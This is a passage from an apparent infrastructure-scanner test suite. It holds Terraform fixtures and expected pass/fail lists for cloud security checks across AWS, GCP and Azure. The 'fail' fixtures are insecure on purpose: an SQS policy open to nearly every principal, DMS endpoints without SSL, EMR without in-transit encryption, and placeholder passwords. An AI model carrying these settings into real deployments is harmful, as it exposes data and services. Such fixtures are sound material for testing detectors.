  query_string = false\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    viewer_protocol_policy = \"allow-all\"\n    min_ttl                = 0\n    default_ttl            = 3600\n    max_ttl                = 86400\n  }\n\n  # Cache behavior with precedence 0\n  ordered_cache_behavior {\n    path_pattern     = \"/content/immutable/*\"\n    allowed_methods  = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    cached_methods   = [\"GET\", \"HEAD\", \"OPTIONS\"]\n    target_origin_id = local.s3_origin_id\n\n    forwarded_values {\n      query_string = false\n      headers      = [\"Origin\"]\n\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    min_ttl                = 0\n    default_ttl            = 86400\n    max_ttl                = 31536000\n    compress               = true\n    viewer_protocol_policy = \"redirect-to-https\"\n  }\n\n  price_class = \"PriceClass_200\"\n\n  restrictions {\n    geo_restriction {\n      restriction_type = \"whitelist\"\n      locations        = [\"US\", \"CA\", \"GB\", \"DE\"]\n    }\n  }\n\n  tags = {\n    Environment = \"production\"\n  }\n\n  viewer_certificate {\n    cloudfront_default_certificate = true\n  }\n  web_acl_id = aws_wafv2_web_acl.fail_3_acl.arn\n}\n\nresource \"aws_wafv2_web_acl\" \"fail_3_acl\" {\n  name        = \"managed-rule-example\"\n  description = \"Example of a managed rule.\"\n  scope       = \"REGIONAL\"\n\n  default_action {\n    allow {}\n  }\n\n  rule {\n    name     = \"rule-2\"\n    priority = 2\n\n    override_action {\n      count {}\n    }\n\n    statement {\n      managed_rule_group_statement {\n        name        = \"AWSManagedRulesKnownBadInputsRuleSet\"\n        vendor_name = \"AWS\"\n\n        excluded_rule {\n          name = \"SizeRestrictions_QUERYSTRING\"\n        }\n\n        scope_down_statement {\n          geo_match_statement {\n            country_codes = [\"US\", \"NL\"]\n          }\n        }\n      }\n    }\n\n    visibility_config {\n      cloudwatch_metrics_enabled = false\n      metric_name                = \"friendly-rule-metric-name\"\n      sampled_requests_enabled   = false\n    }\n  }\n\n\n  tags = {\n    Tag1 = \"Value1\"\n    Tag2 = \"Value2\"\n  }\n\n  visibility_config {\n    cloudwatch_metrics_enabled = false\n    metric_name                = \"friendly-metric-name\"\n    sampled_requests_enabled   = false\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/CloudFunctionSecureHTTPTrigger/expected.yaml",
    "content": "pass:\n  - \"google_cloudfunctions_function.pass\"\n  - \"google_cloudfunctions_function.pass_1\"\n  - \"google_cloudfunctions_function.pass_2\"\nfail:\n  - \"google_cloudfunctions_function.fail_1\"\n  - \"google_cloudfunctions_function.fail_2\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/CloudFunctionSecureHTTPTrigger/main.tf",
    "content": "resource \"google_cloudfunctions_function\" \"pass\" {\n  name        = \"function-test\"\n  description = \"My function\"\n  runtime     = \"nodejs16\"\n\n  available_memory_mb          = 128\n  source_archive_bucket        = google_storage_bucket.bucket.name\n  source_archive_object        = google_storage_bucket_object.archive.name\n  trigger_http                 = true\n  https_trigger_security_level = \"SECURE_ALWAYS\"\n  timeout                      = 60\n  entry_point                  = \"helloGET\"\n  labels = {\n    my-label = \"my-label-value\"\n  }\n}\n\nresource \"google_cloudfunctions_function\" \"pass_1\" {\n  name        = \"pubsub-trigger-test\"\n  description = \"My function\"\n  runtime     = \"nodejs16\"\n\n  available_memory_mb          = 128\n  source_archive_bucket        = google_storage_bucket.bucket.name\n  source_archive_object        = google_storage_bucket_object.archive.name\n  #event_trigger should not require \"https_trigger_security_level\"\n  event_trigger                {\n    event_type = \"google.cloud.pubsub.topic.v1.messagePublished\"\n    resource = \"projects/triggering-projects/topics/trigger\"\n  }\n  timeout                      = 60\n  entry_point                  = \"helloGET\"\n  labels = {\n    my-label = \"my-label-value\"\n  }\n}\n\nresource \"google_cloudfunctions_function\" \"pass_2\" {\n  name        = \"pubsub-trigger-test\"\n  description = \"My function\"\n  runtime     = \"nodejs16\"\n\n  available_memory_mb          = 128\n  source_archive_bucket        = google_storage_bucket.bucket.name\n  source_archive_object        = google_storage_bucket_object.archive.name\n  #event_trigger should not require \"https_trigger_security_level\"\n  trigger_http                 = false\n  timeout                      = 60\n  entry_point                  = \"helloGET\"\n  labels = {\n    my-label = \"my-label-value\"\n  }\n}\n\nresource \"google_cloudfunctions_function\" \"fail_1\" {\n  name        = \"function-test\"\n  description = \"My function\"\n  runtime     = \"nodejs16\"\n\n  available_memory_mb          = 128\n  source_archive_bucket        = google_storage_bucket.bucket.name\n  source_archive_object        = google_storage_bucket_object.archive.name\n  trigger_http                 = true\n  https_trigger_security_level = \"SECURE_OPTIONAL\"\n  timeout                      = 60\n  entry_point                  = \"helloGET\"\n  labels = {\n    my-label = \"my-label-value\"\n  }\n}\n\nresource \"google_cloudfunctions_function\" \"fail_2\" {\n  name        = \"function-test\"\n  description = \"My function\"\n  runtime     = \"nodejs16\"\n\n  available_memory_mb          = 128\n  source_archive_bucket        = google_storage_bucket.bucket.name\n  source_archive_object        = google_storage_bucket_object.archive.name\n  trigger_http                 = true\n  timeout                      = 60\n  entry_point                  = \"helloGET\"\n  labels = {\n    my-label = \"my-label-value\"\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/CloudfrontOriginNotHTTPSOnly/expected.yaml",
    "content": "pass:\n    - \"aws_cloudfront_distribution.example_pass_domain\"\n    - \"aws_cloudfront_distribution.example_pass_httpsonly\"\n    - \"aws_cloudfront_distribution.example_pass_nocustomorigin\"\n    - \"aws_cloudfront_distribution.example_pass_disabled\"\nfail:\n    - \"aws_cloudfront_distribution.example_fail_one_missing_one_bad\"\n    - \"aws_cloudfront_distribution.example_fail_one_good_one_bad\"\n    - \"aws_cloudfront_distribution.example_fail\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/CloudfrontOriginNotHTTPSOnly/main.tf",
    "content": "# pass: enabled=false (required)\nresource \"aws_cloudfront_distribution\" \"example_pass_disabled\" {\n  enabled = false # disabled\n\n  origin {\n    domain_name = \"example.data.mediastore.amazonaws.com\" # contains dangerous domain name\n    origin_id   = \"custom-origin-example\"\n\n    custom_origin_config {\n      origin_protocol_policy = \"match-viewer\"  # Does not enforce HTTPS only, matches RQL condition to fail\n      http_port              = 80\n      https_port             = 443\n      origin_ssl_protocols   = [\"TLSv1\", \"TLSv1.1\", \"TLSv1.2\"]\n    }\n  }\n\n  default_cache_behavior {\n    target_origin_id       = \"custom-origin-example\"\n    viewer_protocol_policy = \"redirect-to-https\"\n\n    allowed_methods = [\"GET\", \"HEAD\"]\n    cached_methods  = [\"GET\", \"HEAD\"]\n\n    forwarded_values {\n      query_string = false\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    min_ttl = 0\n    default_ttl = 3600\n    max_ttl = 86400\n  }\n\n  restrictions {\n    geo_restriction {\n      restriction_type = \"none\"\n    }\n  }\n\n  viewer_certificate {\n    cloudfront_default_certificate = true\n  }\n}\n\n\n# pass: enabled=true; origin->custom_origin_config not exists (origin is required)\nresource \"aws_cloudfront_distribution\" \"example_pass_nocustomorigin\" {\n  enabled = true # enabled\n\n  origin {\n    domain_name = \"example.data.mediastore.amazonaws.com\" # contains dangerous domain name\n    origin_id   = \"custom-origin-example\"\n\n    # no custom origin\n  }\n\n  default_cache_behavior {\n    target_origin_id       = \"custom-origin-example\"\n    viewer_protocol_policy = \"redirect-to-https\"\n\n    allowed_methods = [\"GET\", \"HEAD\"]\n    cached_methods  = [\"GET\", \"HEAD\"]\n\n    forwarded_values {\n      query_string = false\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    min_ttl = 0\n    default_ttl = 3600\n    max_ttl = 86400\n  }\n\n  restrictions {\n    geo_restriction {\n      restriction_type = \"none\"\n    }\n  }\n\n  viewer_certificate {\n    cloudfront_default_certificate = true\n  }\n}\n\n\n# pass: enabled=true; origin->custom_origin_config->origin_protocol_policy=https-only\nresource \"aws_cloudfront_distribution\" \"example_pass_httpsonly\" {\n  enabled = true # enabled\n\n  origin {\n    domain_name = \"example.data.mediastore.amazonaws.com\" # contains dangerous domain name\n    origin_id   = \"custom-origin-example\"\n\n    custom_origin_config {\n      origin_protocol_policy = \"https-only\"  # HTTPS only\n      http_port              = 80\n      https_port             = 443\n      origin_ssl_protocols   = [\"TLSv1\", \"TLSv1.1\", \"TLSv1.2\"]\n    }\n  }\n\n  default_cache_behavior {\n    target_origin_id       = \"custom-origin-example\"\n    viewer_protocol_policy = \"redirect-to-https\"\n\n    allowed_methods = [\"GET\", \"HEAD\"]\n    cached_methods  = [\"GET\", \"HEAD\"]\n\n    forwarded_values {\n      query_string = false\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    min_ttl = 0\n    default_ttl = 3600\n    max_ttl = 86400\n  }\n\n  restrictions {\n    geo_restriction {\n      restriction_type = \"none\"\n    }\n  }\n\n  viewer_certificate {\n    cloudfront_default_certificate = true\n  }\n}\n\n# pass: enabled=true; origin->custom_origin_config->origin_protocol_policy=match-viewer; origin->domain_name not contains (\".data.mediastore.\" or domainName contains \".mediapackage.\" or domainName contains \".elb.\")\nresource \"aws_cloudfront_distribution\" \"example_pass_domain\" {\n  enabled = true # enabled\n\n  origin {\n    domain_name = \"example.com\" # safe domain\n    origin_id   = \"custom-origin-example\"\n\n    custom_origin_config {\n      origin_protocol_policy = \"match-viewer\"  # Does not enforce HTTPS only, matches RQL condition to fail\n      http_port              = 80\n      https_port             = 443\n      origin_ssl_protocols   = [\"TLSv1\", \"TLSv1.1\", \"TLSv1.2\"]\n    }\n  }\n\n  default_cache_behavior {\n    target_origin_id       = \"custom-origin-example\"\n    viewer_protocol_policy = \"redirect-to-https\"\n\n    allowed_methods = [\"GET\", \"HEAD\"]\n    cached_methods  = [\"GET\", \"HEAD\"]\n\n    forwarded_values {\n      query_string = false\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    min_ttl = 0\n    default_ttl = 3600\n    max_ttl = 86400\n  }\n\n  restrictions {\n    geo_restriction {\n      restriction_type = \"none\"\n    }\n  }\n\n  viewer_certificate {\n    cloudfront_default_certificate = true\n  }\n}\n\n\n# fail: enabled=true; origin->custom_origin_config->origin_protocol_policy=match-viewer; origin->domain_name contains \"mediastore\"\nresource \"aws_cloudfront_distribution\" \"example_fail\" {\n  enabled = true # enabled\n\n  origin {\n    domain_name = \"example.data.mediastore.amazonaws.com\" # contains dangerous domain name\n    origin_id   = \"custom-origin-example\"\n\n    custom_origin_config {\n      origin_protocol_policy = \"match-viewer\"  # Does not enforce HTTPS only, matches RQL condition to fail\n      http_port              = 80\n      https_port             = 443\n      origin_ssl_protocols   = [\"TLSv1\", \"TLSv1.1\", \"TLSv1.2\"]\n    }\n  }\n\n  default_cache_behavior {\n    target_origin_id       = \"custom-origin-example\"\n    viewer_protocol_policy = \"redirect-to-https\"\n\n    allowed_methods = [\"GET\", \"HEAD\"]\n    cached_methods  = [\"GET\", \"HEAD\"]\n\n    forwarded_values {\n      query_string = false\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    min_ttl = 0\n    default_ttl = 3600\n    max_ttl = 86400\n  }\n\n  restrictions {\n    geo_restriction {\n      restriction_type = \"none\"\n    }\n  }\n\n  viewer_certificate {\n    cloudfront_default_certificate = true\n  }\n}\n\n\n# fail: enabled=true; origin->custom_origin_config->origin_protocol_policy=match-viewer; origin->domain_name contains \"mediastore\" (second only)\nresource \"aws_cloudfront_distribution\" \"example_fail_one_good_one_bad\" {\n  enabled = true # enabled\n\n  origin {\n    domain_name = \"example.com\" # safe domain\n    origin_id   = \"custom-origin-example\"\n\n    custom_origin_config {\n      origin_protocol_policy = \"https-only\"  # HTTPS only\n      http_port              = 80\n      https_port             = 443\n      origin_ssl_protocols   = [\"TLSv1\", \"TLSv1.1\", \"TLSv1.2\"]\n    }\n  }\n\n  origin {\n    domain_name = \"example.data.mediastore.amazonaws.com\" # contains dangerous domain name\n    origin_id   = \"custom-origin-example\"\n\n    custom_origin_config {\n      origin_protocol_policy = \"match-viewer\"  # Does not enforce HTTPS only, matches RQL condition to fail\n      http_port              = 80\n      https_port             = 443\n      origin_ssl_protocols   = [\"TLSv1\", \"TLSv1.1\", \"TLSv1.2\"]\n    }\n  }\n\n  default_cache_behavior {\n    target_origin_id       = \"custom-origin-example\"\n    viewer_protocol_policy = \"redirect-to-https\"\n\n    allowed_methods = [\"GET\", \"HEAD\"]\n    cached_methods  = [\"GET\", \"HEAD\"]\n\n    forwarded_values {\n      query_string = false\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    min_ttl = 0\n    default_ttl = 3600\n    max_ttl = 86400\n  }\n\n  restrictions {\n    geo_restriction {\n      restriction_type = \"none\"\n    }\n  }\n\n  viewer_certificate {\n    cloudfront_default_certificate = true\n  }\n}\n\n# fail: enabled=true; origin->custom_origin_config->origin_protocol_policy=match-viewer; origin->domain_name contains \"elb\" (second only) and first doesn't have custom_origin_config\nresource \"aws_cloudfront_distribution\" \"example_fail_one_missing_one_bad\" {\n  enabled = true # enabled\n\n  origin {\n    domain_name = \"example.com\" # safe domain\n    origin_id   = \"custom-origin-example\"\n\n    # no custom_origin_config\n  }\n\n  origin {\n    domain_name = \"example.elb.amazonaws.com\" # contains dangerous domain name\n    origin_id   = \"custom-origin-example\"\n\n    custom_origin_config {\n      origin_protocol_policy = \"match-viewer\"  # Does not enforce HTTPS only, matches RQL condition to fail\n      http_port              = 80\n      https_port             = 443\n      origin_ssl_protocols   = [\"TLSv1\", \"TLSv1.1\", \"TLSv1.2\"]\n    }\n  }\n\n  default_cache_behavior {\n    target_origin_id       = \"custom-origin-example\"\n    viewer_protocol_policy = \"redirect-to-https\"\n\n    allowed_methods = [\"GET\", \"HEAD\"]\n    cached_methods  = [\"GET\", \"HEAD\"]\n\n    forwarded_values {\n      query_string = false\n      cookies {\n        forward = \"none\"\n      }\n    }\n\n    min_ttl = 0\n    default_ttl = 3600\n    max_ttl = 86400\n  }\n\n  restrictions {\n    geo_restriction {\n      restriction_type = \"none\"\n    }\n  }\n\n  viewer_certificate {\n    cloudfront_default_certificate = true\n  }\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/CloudtrailHasCloudwatch/expected.yaml",
    "content": "fail:\n  - \"aws_cloudtrail.aws_cloudtrail_not_ok\"\npass:\n  - \"aws_cloudtrail.aws_cloudtrail_ok\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/CloudtrailHasCloudwatch/main.tf",
    "content": "resource \"aws_cloudwatch_log_group\" \"example\" {\n  name = \"Example\"\n}\n\nresource \"aws_cloudtrail\" \"aws_cloudtrail_ok\" {\n  name                          = \"tf-trail-foobar\"\n  cloud_watch_logs_group_arn = \"${aws_cloudwatch_log_group.example.arn}:*\"\n}\n\nresource \"aws_cloudtrail\" \"aws_cloudtrail_not_ok\" {\n  name                          = \"tf-trail-foobar\"\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/CodecommitApprovalRulesAttached/expected.yaml",
    "content": "fail:\n  - \"aws_codecommit_repository.fail\"\npass:\n  - \"aws_codecommit_repository.pass\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/CodecommitApprovalRulesAttached/main.tf",
    "content": "resource \"aws_codecommit_repository\" \"pass\" {\n  repository_name = \"MyTestRepository\"\n  description     = \"This is the Sample App Repository\"\n}\n\nresource \"aws_codecommit_approval_rule_template_association\" \"example\" {\n  approval_rule_template_name = aws_codecommit_approval_rule_template.example.name\n  repository_name             = aws_codecommit_repository.pass.repository_name\n}\n\nresource \"aws_codecommit_repository\" \"fail\" {\n  repository_name = \"MyTestRepository\"\n  description     = \"This is the Sample App Repository\"\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/ConfigRecorderRecordsAllGlobalResources/expected.yaml",
    "content": "fail:\n  - \"aws_config_configuration_recorder.fail_recorder_1\"\n  - \"aws_config_configuration_recorder.fail_recorder_2\"\npass:\n  - \"aws_config_configuration_recorder.pass_recorder\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/ConfigRecorderRecordsAllGlobalResources/main.tf",
    "content": "resource \"aws_config_configuration_recorder\" \"pass_recorder\" {\n  name     = \"example\"\n  role_arn = aws_iam_role.r.arn\n\n  recording_group {\n    include_global_resource_types = true\n  }\n  \n}\n\nresource \"aws_config_configuration_recorder_status\" \"pass\" {\n  name       = aws_config_configuration_recorder.pass_recorder.name\n  is_enabled = true\n}\n\nresource \"aws_config_configuration_recorder\" \"fail_recorder_1\" {\n  name     = \"example\"\n  role_arn = aws_iam_role.r.arn\n  \n}\n\nresource \"aws_config_configuration_recorder_status\" \"fail_1\" {\n  name       = aws_config_configuration_recorder.fail_recorder_1.name\n  is_enabled = false\n}\n\nresource \"aws_config_configuration_recorder\" \"fail_recorder_2\" {\n  name     = \"example\"\n  role_arn = aws_iam_role.r.arn\n  recording_group {\n    include_global_resource_types = false\n  }\n}\n\nresource \"aws_config_configuration_recorder_status\" \"fail_2\" {\n  name       = aws_config_configuration_recorder.fail_recorder_2.name\n  is_enabled = true\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/CustomAwsEMRSecurityConfiguration/expected.yaml",
    "content": "pass:\n  - \"aws_emr_cluster.passing_cluster\"\n  - \"aws_emr_cluster.also_passing_cluster\"\nfail:\n  - \"aws_emr_cluster.failing_cluster\""
  },
  {
    "path": "tests/terraform/graph/checks/resources/CustomAwsEMRSecurityConfiguration/main.tf",
    "content": "provider \"aws\" {\n    region=\"us-east-1\"\n}\n\nresource \"aws_emr_cluster\" \"passing_cluster\" {\n  name          = \"good\"\n  release_label = \"release\"\n  applications  = [\"Spark\"]\n  security_configuration = aws_emr_security_configuration.good_config.name\n  ec2_attributes {\n    subnet_id = aws_subnet.main.id\n    instance_profile = aws_iam_instance_profile.emr_profile.arn\n  }\n\n  master_instance_group {\n    instance_type = \"m5.xlarge\"\n  }\n\n  core_instance_group {\n    instance_count = 1\n    instance_type  = \"m5.xlarge\"\n  }\n  service_role = aws_iam_role.iam_emr_service_role.arn\n}\n\n\nresource \"aws_emr_security_configuration\" \"good_config\" {\n  name = \"good\"\n# compliant case EncryptionConfiguration.EnableAtRestEncryption is true and LocalDiskEncryptionConfiguration exists\n# Compliant EnableInTransitEncryption is true\n# Compliant securityConfiguration exists and attached with cluster\n  configuration = <<EOF\n{\n  \"EncryptionConfiguration\": {\n      \"AtRestEncryptionConfiguration\": {\n            \"LocalDiskEncryptionConfiguration\": {\n                \"EncryptionKeyProviderType\": \"AwsKms\",\n                \"AwsKmsKey\": \"${aws_kms_key.test.arn}\"\n            }\n        },\n        \"EnableInTransitEncryption\": true,\n        \"EnableAtRestEncryption\": true\n    }\n}\nEOF\n}\n\n\n\nresource \"aws_emr_cluster\" \"also_passing_cluster\" {\n  name          = \"good\"\n  release_label = \"release\"\n  applications  = [\"Spark\"]\n  security_configuration = aws_emr_security_configuration.also_good_config.name\n  ec2_attributes {\n    subnet_id = aws_subnet.main.id\n    instance_profile = aws_iam_instance_profile.emr_profile.arn\n  }\n\n  master_instance_group {\n    instance_type = \"m5.xlarge\"\n  }\n\n  core_instance_group {\n    instance_count = 1\n    instance_type  = \"m5.xlarge\"\n  }\n  service_role = aws_iam_role.iam_emr_service_role.arn\n}\n\n\nresource \"aws_emr_security_configuration\" \"also_good_config\" {\n  name = \"good\"\n  data_retention = \"5\"\n# compliant case EncryptionConfiguration.EnableAtRestEncryption is true and LocalDiskEncryptionConfiguration exists\n# Compliant EnableInTransitEncryption is true\n# Compliant securityConfiguration exists and attached with cluster\n  configuration = <<EOF\n{\n  \"EncryptionConfiguration\": {\n      \"AtRestEncryptionConfiguration\": {\n            \"LocalDiskEncryptionConfiguration\": {\n                \"EncryptionKeyProviderType\": \"AwsKms\",\n                \"AwsKmsKey\": \"${aws_kms_key.test.arn}\"\n            }\n        },\n        \"EnableInTransitEncryption\": \"true\",\n        \"EnableAtRestEncryption\": \"true\"\n    }\n}\nEOF\n}\n\nresource \"aws_emr_cluster\" \"failing_cluster\" {\n  name          = \"bad\"\n  release_label = \"release\"\n  applications  = [\"Spark\"]\n  security_configuration = aws_emr_security_configuration.bad_config.name\n  ec2_attributes {\n    subnet_id = aws_subnet.main.id\n    instance_profile = aws_iam_instance_profile.emr_profile.arn\n  }\n\n  master_instance_group {\n    instance_type = \"m5.xlarge\"\n  }\n\n  core_instance_group {\n    instance_count = 1\n    instance_type  = \"m5.xlarge\"\n  }\n  service_role = aws_iam_role.iam_emr_service_role.arn\n}\n\n\nresource \"aws_emr_security_configuration\" \"bad_config\" {\n  name = \"bad\"\n# compliant case EncryptionConfiguration.EnableAtRestEncryption is true and LocalDiskEncryptionConfiguration exists\n# Compliant EnableInTransitEncryption is true\n# Compliant securityConfiguration exists and attached with cluster\n  configuration = <<EOF\n{\n  \"EncryptionConfiguration\": {\n      \"AtRestEncryptionConfiguration\": {\n            \"LocalDiskEncryptionConfiguration\": {\n                \"EncryptionKeyProviderType\": \"AwsKms\",\n                \"AwsKmsKey\": \"${aws_kms_key.test.arn}\"\n            }\n        },\n        \"EnableInTransitEncryption\": false,\n        \"EnableAtRestEncryption\": true\n    }\n}\nEOF\n}\n\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/CustomPolicy1/expected.yaml",
    "content": "fail:\n  - \"aws_sqs_queue.sqs\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/CustomPolicy1/main.tf",
    "content": "provider \"aws\" {\n    region=\"us-east-1\"\n}\n\nresource \"aws_sqs_queue\" \"sqs\" {\n    name = \"sqs_nc_notprinc_all\"\n    sqs_managed_sse_enabled = false\n}\n\nresource \"aws_sqs_queue_policy\" \"test\" {\n    queue_url = aws_sqs_queue.sqs.id\n    policy = <<POLICY\n       {\n          \"Version\": \"2008-10-17\",\n          \"Id\": \"__default_policy_ID\",\n          \"Statement\": [ {\n              \"Sid\": \"statement1\",\n              \"Effect\": \"Allow\",\n              \"NotPrincipal\": {\n                 \"AWS\": \"arn:aws:iam::0000:root\"\n              },\n              \"Action\": \"SQS:*\",\n              \"Resource\": \"${aws_sqs_queue.sqs.arn}\"\n          }\n          ]\n       }\n    POLICY\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/CustomPolicy2/expected.yaml",
    "content": "pass:\n  - \"aws_sqs_queue.pass\"\nfail:\n  - \"aws_sqs_queue.fail\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/CustomPolicy2/main.tf",
    "content": "# if there is a non-resource block, then the pre-fixed version failed with a silent exception\nvariable \"test\" {}\n\nresource \"aws_sqs_queue\" \"pass\" {\n    name          = \"pass\"\n    delay_seconds = 900\n}\n\nresource \"aws_sqs_queue\" \"fail\" {\n    name          = \"pass\"\n    delay_seconds = 0\n}\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/DMSEndpointHaveSSLConfigured/expected.yaml",
    "content": "fail:\n  - \"aws_dms_endpoint.fail_source\"\n  - \"aws_dms_endpoint.fail_target\"\npass:\n  - \"aws_dms_endpoint.pass_source_1\"\n  - \"aws_dms_endpoint.pass_source_2\"\n  - \"aws_dms_endpoint.pass_target_1\"\n  - \"aws_dms_endpoint.pass_target_2\"\n  - \"aws_dms_endpoint.pass_unknown_endpoint_type\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/DMSEndpointHaveSSLConfigured/main.tf",
    "content": "resource \"aws_dms_endpoint\" \"pass_source_1\" {\n  certificate_arn             = \"arn:aws:acm:us-east-1:123456789012:certificate/12345678-1234-1234-1234-123456789012\"\n  database_name               = \"test\"\n  endpoint_id                 = \"test-dms-endpoint-tf\"\n  endpoint_type               = \"source\"\n  engine_name                 = \"aurora\"\n  extra_connection_attributes = \"\"\n  kms_key_arn                 = \"arn:aws:kms:us-east-1:123456789012:key/12345678-1234-1234-1234-123456789012\"\n  password                    = \"test\"\n  port                        = 3306\n  server_name                 = \"test\"\n  ssl_mode                    = \"require\"\n  username = \"test\"\n}\n\nresource \"aws_dms_endpoint\" \"pass_source_2\" {\n  certificate_arn             = \"arn:aws:acm:us-east-1:123456789012:certificate/12345678-1234-1234-1234-123456789012\"\n  database_name               = \"test\"\n  endpoint_id                 = \"test-dms-endpoint-tf\"\n  endpoint_type               = \"source\"\n  engine_name                 = \"s3\"\n  extra_connection_attributes = \"\"\n  kms_key_arn                 = \"arn:aws:kms:us-east-1:123456789012:key/12345678-1234-1234-1234-123456789012\"\n  password                    = \"test\"\n  port                        = 3306\n  server_name                 = \"none\"\n  ssl_mode                    = \"none\"\n  username = \"test\"\n}\n\nresource \"aws_dms_endpoint\" \"pass_target_1\" {\n  certificate_arn             = \"arn:aws:acm:us-east-1:123456789012:certificate/12345678-1234-1234-1234-123456789012\"\n  database_name               = \"test\"\n  endpoint_id                 = \"test-dms-endpoint-tf\"\n  endpoint_type               = \"target\"\n  engine_name                 = \"aurora\"\n  extra_connection_attributes = \"\"\n  kms_key_arn                 = \"arn:aws:kms:us-east-1:123456789012:key/12345678-1234-1234-1234-123456789012\"\n  password                    = \"test\"\n  port                        = 3306\n  server_name                 = \"none\"\n  ssl_mode                    = \"require\"\n  username = \"test\"\n}\n\nresource \"aws_dms_endpoint\" \"pass_target_2\" {\n  certificate_arn             = \"arn:aws:acm:us-east-1:123456789012:certificate/12345678-1234-1234-1234-123456789012\"\n  database_name               = \"test\"\n  endpoint_id                 = \"test-dms-endpoint-tf\"\n  endpoint_type               = \"target\"\n  engine_name                 = \"s3\"\n  extra_connection_attributes = \"\"\n  kms_key_arn                 = \"arn:aws:kms:us-east-1:123456789012:key/12345678-1234-1234-1234-123456789012\"\n  password                    = \"test\"\n  port                        = 3306\n  server_name                 = \"none\"\n  ssl_mode                    = \"none\"\n  username = \"test\"\n}\n\nresource \"aws_dms_endpoint\" \"fail_source\" {\n  certificate_arn             = \"arn:aws:acm:us-east-1:123456789012:certificate/12345678-1234-1234-1234-123456789012\"\n  database_name               = \"test\"\n  endpoint_id                 = \"test-dms-endpoint-tf\"\n  endpoint_type               = \"source\"\n  engine_name                 = \"aurora\"\n  extra_connection_attributes = \"\"\n  kms_key_arn                 = \"arn:aws:kms:us-east-1:123456789012:key/12345678-1234-1234-1234-123456789012\"\n  password                    = \"test\"\n  port                        = 3306\n  server_name                 = \"test\"\n  ssl_mode                    = \"none\"\n  username = \"test\"\n}\n\nresource \"aws_dms_endpoint\" \"fail_target\" {\n  certificate_arn             = \"arn:aws:acm:us-east-1:123456789012:certificate/12345678-1234-1234-1234-123456789012\"\n  database_name               = \"test\"\n  endpoint_id                 = \"test-dms-endpoint-tf\"\n  endpoint_type               = \"target\"\n  engine_name                 = \"aurora\"\n  extra_connection_attributes = \"\"\n  kms_key_arn                 = \"arn:aws:kms:us-east-1:123456789012:key/12345678-1234-1234-1234-123456789012\"\n  password                    = \"test\"\n  port                        = 3306\n  server_name                 = \"none\"\n  ssl_mode                    = \"none\"\n  username = \"test\"\n}\n\nresource \"aws_dms_endpoint\" \"pass_unknown_endpoint_type\" {\n  certificate_arn             = \"arn:aws:acm:us-east-1:123456789012:certificate/12345678-1234-1234-1234-123456789012\"\n  database_name               = \"test\"\n  endpoint_id                 = \"test-dms-endpoint-tf\"\n  endpoint_type               = \"foo\"\n  engine_name                 = \"aurora\"\n  extra_connection_attributes = \"\"\n  kms_key_arn                 = \"arn:aws:kms:us-east-1:123456789012:key/12345678-1234-1234-1234-123456789012\"\n  password                    = \"test\"\n  port                        = 3306\n  server_name                 = \"test\"\n  ssl_mode                    = \"none\"\n  username = \"test\"\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/DataExplorerEncryptionUsesCustomKey/expected.yaml",
    "content": "pass:\n  - \"azurerm_kusto_cluster.cluster_ok\"\nfail:\n  - \"azurerm_kusto_cluster.cluster_ok_not_ok\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/DataExplorerEncryptionUsesCustomKey/main.tf",
    "content": "resource \"azurerm_kusto_cluster\" \"cluster_ok\" {\n  name                = \"kustocluster\"\n  location            = azurerm_resource_group.rg.location\n  resource_group_name = azurerm_resource_group.rg.name\n\n  sku {\n    name     = \"Standard_D13_v2\"\n    capacity = 2\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n}\n\nresource \"azurerm_kusto_cluster_customer_managed_key\" \"example\" {\n  cluster_id   = azurerm_kusto_cluster.cluster_ok.id\n  key_vault_id = azurerm_key_vault.example.id\n  key_name     = azurerm_key_vault_key.example.name\n  key_version  = azurerm_key_vault_key.example.version\n}\n\n\nresource \"azurerm_kusto_cluster\" \"cluster_ok_not_ok\" {\n  name                = \"kustocluster\"\n  location            = azurerm_resource_group.rg.location\n  resource_group_name = azurerm_resource_group.rg.name\n\n  sku {\n    name     = \"Standard_D13_v2\"\n    capacity = 2\n  }\n\n  identity {\n    type = \"SystemAssigned\"\n  }\n}"
  },
  {
    "path": "tests/terraform/graph/checks/resources/DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey/expected.yaml",
    "content": "pass:\n  - \"azurerm_databricks_workspace.databricks_workspace_good\"\nfail:\n  - \"azurerm_databricks_workspace.databricks_workspace_bad\"\n"
  },
  {
    "path": "tests/terraform/graph/checks/resources/DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey/main.tf",
